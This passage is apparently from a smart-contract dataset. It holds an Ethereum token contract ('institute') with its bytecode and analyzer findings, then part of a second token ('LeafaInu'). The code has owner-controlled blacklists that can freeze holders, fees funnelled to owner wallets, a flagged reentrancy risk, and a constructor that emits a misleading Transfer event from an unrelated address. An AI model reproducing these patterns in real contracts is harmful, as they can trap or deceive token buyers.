function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract institute is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "institute";
string private constant _symbol = "INSTE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x1d3DCFF6f61211Dff949cF3Ae6681df339a23FD8);
_buyTax = 13;
_sellTax = 13;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610346578063c3c8cd8014610366578063c9567bf91461037b578063dbe8272c14610390578063dc1052e2146103b0578063dd62ed3e146103d057600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610311578063a9059cbb1461032657600080fd5b8063273123b7116100f2578063273123b714610215578063313ce5671461023557806346df33b7146102515780636fc3eaec1461027157806370a082311461028657600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae5780631bbae6e0146101d357806323b872dd146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268696e7374697475746560b81b60208201525b604051610175919061190b565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461179c565b610416565b6040519015158152602001610175565b3480156101ba57600080fd5b50678ac7230489e800005b604051908152602001610175565b3480156101df57600080fd5b506101f36101ee3660046118c6565b61042d565b005b34801561020157600080fd5b5061019e61021036600461175c565b610479565b34801561022157600080fd5b506101f36102303660046116ec565b6104e2565b34801561024157600080fd5b5060405160098152602001610175565b34801561025d57600080fd5b506101f361026c36600461188e565b61052d565b34801561027d57600080fd5b506101f3610575565b34801561029257600080fd5b506101c56102a13660046116ec565b6105a9565b3480156102b257600080fd5b506101f36105cb565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102ef57600080fd5b50604080518082019091526005815264494e53544560d81b6020820152610168565b34801561031d57600080fd5b506101f361063f565b34801561033257600080fd5b5061019e61034136600461179c565b61087e565b34801561035257600080fd5b506101f36103613660046117c7565b61088b565b34801561037257600080fd5b506101f361092f565b34801561038757600080fd5b506101f361096f565b34801561039c57600080fd5b506101f36103ab3660046118c6565b610b36565b3480156103bc57600080fd5b506101f36103cb3660046118c6565b610b6e565b3480156103dc57600080fd5b506101c56103eb366004611724565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610423338484610ba6565b5060015b92915050565b6000546001600160a01b031633146104605760405162461bcd60e51b81526004016104579061195e565b60405180910390fd5b6702c68af0bb1400008111156104765760108190555b50565b6000610486848484610cca565b6104d884336104d385604051806060016040528060288152602001611adc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fda565b610ba6565b5060019392505050565b6000546001600160a01b0316331461050c5760405162461bcd60e51b81526004016104579061195e565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105575760405162461bcd60e51b81526004016104579061195e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059f5760405162461bcd60e51b81526004016104579061195e565b4761047681611014565b6001600160a01b0381166000908152600260205260408120546104279061104e565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016104579061195e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106695760405162461bcd60e51b81526004016104579061195e565b600f54600160a01b900460ff16156106c35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610457565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072357600080fd5b505afa158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075b9190611708565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db9190611708565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082357600080fd5b505af1158015610837573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085b9190611708565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610423338484610cca565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016104579061195e565b60005b815181101561092b576001600660008484815181106108e757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092381611a71565b9150506108b8565b5050565b6000546001600160a01b031633146109595760405162461bcd60e51b81526004016104579061195e565b6000610964306105a9565b9050610476816110d2565b6000546001600160a01b031633146109995760405162461bcd60e51b81526004016104579061195e565b600e546109b99030906001600160a01b0316678ac7230489e80000610ba6565b600e546001600160a01b031663f305d71947306109d5816105a9565b6000806109ea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4d57600080fd5b505af1158015610a61573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8691906118de565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afe57600080fd5b505af1158015610b12573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047691906118aa565b6000546001600160a01b03163314610b605760405162461bcd60e51b81526004016104579061195e565b600d81101561047657600b55565b6000546001600160a01b03163314610b985760405162461bcd60e51b81526004016104579061195e565b600d81101561047657600c55565b6001600160a01b038316610c085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610457565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610457565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610457565b6001600160a01b038216610d905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610457565b60008111610df25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610457565b6001600160a01b03831660009081526006602052604090205460ff1615610e1857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5a57506001600160a01b03821660009081526005602052604090205460ff16155b15610fca576000600955600c54600a55600f546001600160a01b038481169116148015610e955750600e546001600160a01b03838116911614155b8015610eba57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ecf5750600f54600160b81b900460ff165b15610efc576000610edf836105a9565b601054909150610eef8383611277565b1115610efa57600080fd5b505b600f546001600160a01b038381169116148015610f275750600e546001600160a01b03848116911614155b8015610f4c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f5d576000600955600b54600a555b6000610f68306105a9565b600f54909150600160a81b900460ff16158015610f935750600f546001600160a01b03858116911614155b8015610fa85750600f54600160b01b900460ff165b15610fc857610fb6816110d2565b478015610fc657610fc647611014565b505b505b610fd58383836112d6565b505050565b60008184841115610ffe5760405162461bcd60e51b8152600401610457919061190b565b50600061100b8486611a5a565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092b573d6000803e3d6000fd5b60006007548211156110b55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610457565b60006110bf6112e1565b90506110cb8382611304565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061112857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117c57600080fd5b505afa158015611190573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b49190611708565b816001815181106111d557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111fb9130911684610ba6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611234908590600090869030904290600401611993565b600060405180830381600087803b15801561124e57600080fd5b505af1158015611262573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112848385611a03565b9050838110156110cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610457565b610fd5838383611346565b60008060006112ee61143d565b90925090506112fd8282611304565b9250505090565b60006110cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061147d565b600080600080600080611358876114ab565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061138a9087611508565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113b99086611277565b6001600160a01b0389166000908152600260205260409020556113db8161154a565b6113e58483611594565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142a91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006114588282611304565b82101561147457505060075492678ac7230489e8000092509050565b90939092509050565b6000818361149e5760405162461bcd60e51b8152600401610457919061190b565b50600061100b8486611a1b565b60008060008060008060008060006114c88a600954600a546115b8565b92509250925060006114d86112e1565b905060008060006114eb8e87878761160d565b919e509c509a509598509396509194505050505091939550919395565b60006110cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fda565b60006115546112e1565b90506000611562838361165d565b3060009081526002602052604090205490915061157f9082611277565b30600090815260026020526040902055505050565b6007546115a19083611508565b6007556008546115b19082611277565b6008555050565b60008080806115d260646115cc898961165d565b90611304565b905060006115e560646115cc8a8961165d565b905060006115fd826115f78b86611508565b90611508565b9992985090965090945050505050565b600080808061161c888661165d565b9050600061162a888761165d565b90506000611638888861165d565b9050600061164a826115f78686611508565b939b939a50919850919650505050505050565b60008261166c57506000610427565b60006116788385611a3b565b9050826116858583611a1b565b146110cb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610457565b80356116e781611ab8565b919050565b6000602082840312156116fd578081fd5b81356110cb81611ab8565b600060208284031215611719578081fd5b81516110cb81611ab8565b60008060408385031215611736578081fd5b823561174181611ab8565b9150602083013561175181611ab8565b809150509250929050565b600080600060608486031215611770578081fd5b833561177b81611ab8565b9250602084013561178b81611ab8565b929592945050506040919091013590565b600080604083850312156117ae578182fd5b82356117b981611ab8565b946020939093013593505050565b600060208083850312156117d9578182fd5b823567ffffffffffffffff808211156117f0578384fd5b818501915085601f830112611803578384fd5b81358181111561181557611815611aa2565b8060051b604051601f19603f8301168101818110858211171561183a5761183a611aa2565b604052828152858101935084860182860187018a1015611858578788fd5b8795505b838610156118815761186d816116dc565b85526001959095019493860193860161185c565b5098975050505050505050565b60006020828403121561189f578081fd5b81356110cb81611acd565b6000602082840312156118bb578081fd5b81516110cb81611acd565b6000602082840312156118d7578081fd5b5035919050565b6000806000606084860312156118f2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119375785810183015185820160400152820161191b565b818111156119485783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119e25784516001600160a01b0316835293830193918301916001016119bd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a1657611a16611a8c565b500190565b600082611a3657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a5557611a55611a8c565b500290565b600082821015611a6c57611a6c611a8c565b500390565b6000600019821415611a8557611a85611a8c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047657600080fd5b801515811461047657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7c99bbedd581eb34bd3ea4fe16c12fbdebc8d65712c782a898b217adef46c9364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 936 |
0x4a5ef8fa260a6fd5eeccac3f9c4a35b401ab74b0 | /**
*Submitted for verification at Etherscan.io on 2021-10-13
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-29
*/
/*
Welcome to Leafa Inu the newest waifu token
Telegram - https://t.me/LeafaInu
website - https://www.leafainu.com/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LeafaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "LeafaInu";
string private constant _symbol = "Leafa";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[addr3] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xf572A6Bd5822796c9257F92A17804C59e14DDbEF), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 4;
_teamFee = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (90 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
